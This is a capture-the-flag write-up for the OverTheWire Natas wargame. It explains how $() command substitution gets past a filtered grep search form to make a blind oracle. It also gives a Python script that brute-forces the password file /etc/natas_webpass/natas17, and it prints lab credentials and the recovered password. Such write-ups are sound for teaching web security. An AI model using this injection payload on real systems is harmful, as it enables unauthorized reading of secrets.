NatasOverTheWire

Natas17

Website URL: http://overthewire.org/wargames/natas/natas17.html

According to the data on the OverTheWire webpage.

Username: natas17
URL:      http://natas17.natas.labs.overthewire.org

Let’s log into the URL for Natas16

Fig. 1

Let’s check out the source code

Fig. 2

This seems to be similar to one of the previous levels (Natas11). Here too, the some characters have been tested for and filtered out. The filtered characters are: ; , |, &, `,  ‘ and. Another important thing to note here is that the script has enclosed our input $key in a set of quotes, which make the previous solution viz. to add a list of files to redirect the search target, useless.

We will have to find another way now.

Note that all the characters that have been excluded are the ones that can be used to terminate the command and chain/pipe another command. What if we don’t terminate the current command? What if we execute another command inside this command? In that case, if our nested command works, then the outer command will misbehave, returning a FALSE output, and if our nested command doesn’t work i.e. returns no output, the outer command behaves properly, and gives us a TRUE output. In other words, the system starts behaving as an oracle, opening it up to an oracle attack, which is quite similar to the Blind SQL attack we performed earlier.

Let’s develop this attack further.

The list of excluded characters does not include a “$” character. Which means that we can enclose another command within a “$()” and append the output of the nested command to the $key variable.

grep -i "$(somecommand)rest_of_the_key" dictionary.txt

If the rest_of_the_key is some word that exists in the dictionary, we have our attack ready! If somecommandevaluates to be true and gives us some output, then the resulting word may not be in the dictionary, giving us a blank output. However, if the somecommand evaluates to be false, it should not give us any output, which will result in the outer command finding the word in the dictionary. The test word can be taken by entering .* into the text field and choosing any one of the words that are returned.

We can set somecommand to be a grep command into /etc/natas_webpass/natas17, giving us the entire oracle attack. So the attack input becomes:

$(grep <pattern> /etc/natas_webpass/natas17)Indian

Now, as we did for the blind SQL attack, we will again extract the testing character set from the total character set and then formulate the password. However, this time, unlike the SQL query, grep will try to match all the substrings of the password with the pattern. So, special care has to be taken for positional accuracy. I did it by using a regex pattern of 32 ‘.’ characters. (‘.’ wildcard stands for one character). As we got the appropriate character from the charset to fit into the position, a single ‘.’ was removed from the pattern and the process repeated.

import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
filtered = ''
passwd = ''

def main():
    global filtered
    global chars
    global passwd
    
    for char in chars:
        Data= {'needle':'$(grep .*'+char+'.* /etc/natas_webpass/natas17)Indian'}
        r = requests.post("http://natas16.natas.labs.overthewire.org/index.php",auth=HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'),data=Data)
        if 'Indian' not in r.text:
            filtered = filtered + char
    print("Filter charset done: ", filtered)
    
    for i in range(0,32):
        print("iteration: ", i)
        wildcard = ''
        for c in range(0,32-i-1):
            wildcard = wildcard + '.'
        for char in filtered:
            Data= {'needle':'$(grep '+passwd+char+wildcard+' /etc/natas_webpass/natas17)Indian'}
            r = requests.post("http://natas16.natas.labs.overthewire.org/index.php",auth=HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'),data=Data)
            if 'Indian' not in r.text:
                passwd = passwd + char
                print("Password so far: ",passwd)
    print("Done. Password: ",passwd)
    return
    
if __name__=='__main__':
    main()

Let’s run the script. As before, this will require a stable internet connection and some time to run.

Fig. 3

As usual, filtering the charset will be over quickly. The time consuming part would be the iterations to plug in the characters to get the actual password.

Fig. 4

Bingo!

Password for next level: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Leave a Reply

Your email address will not be published. Required fields are marked *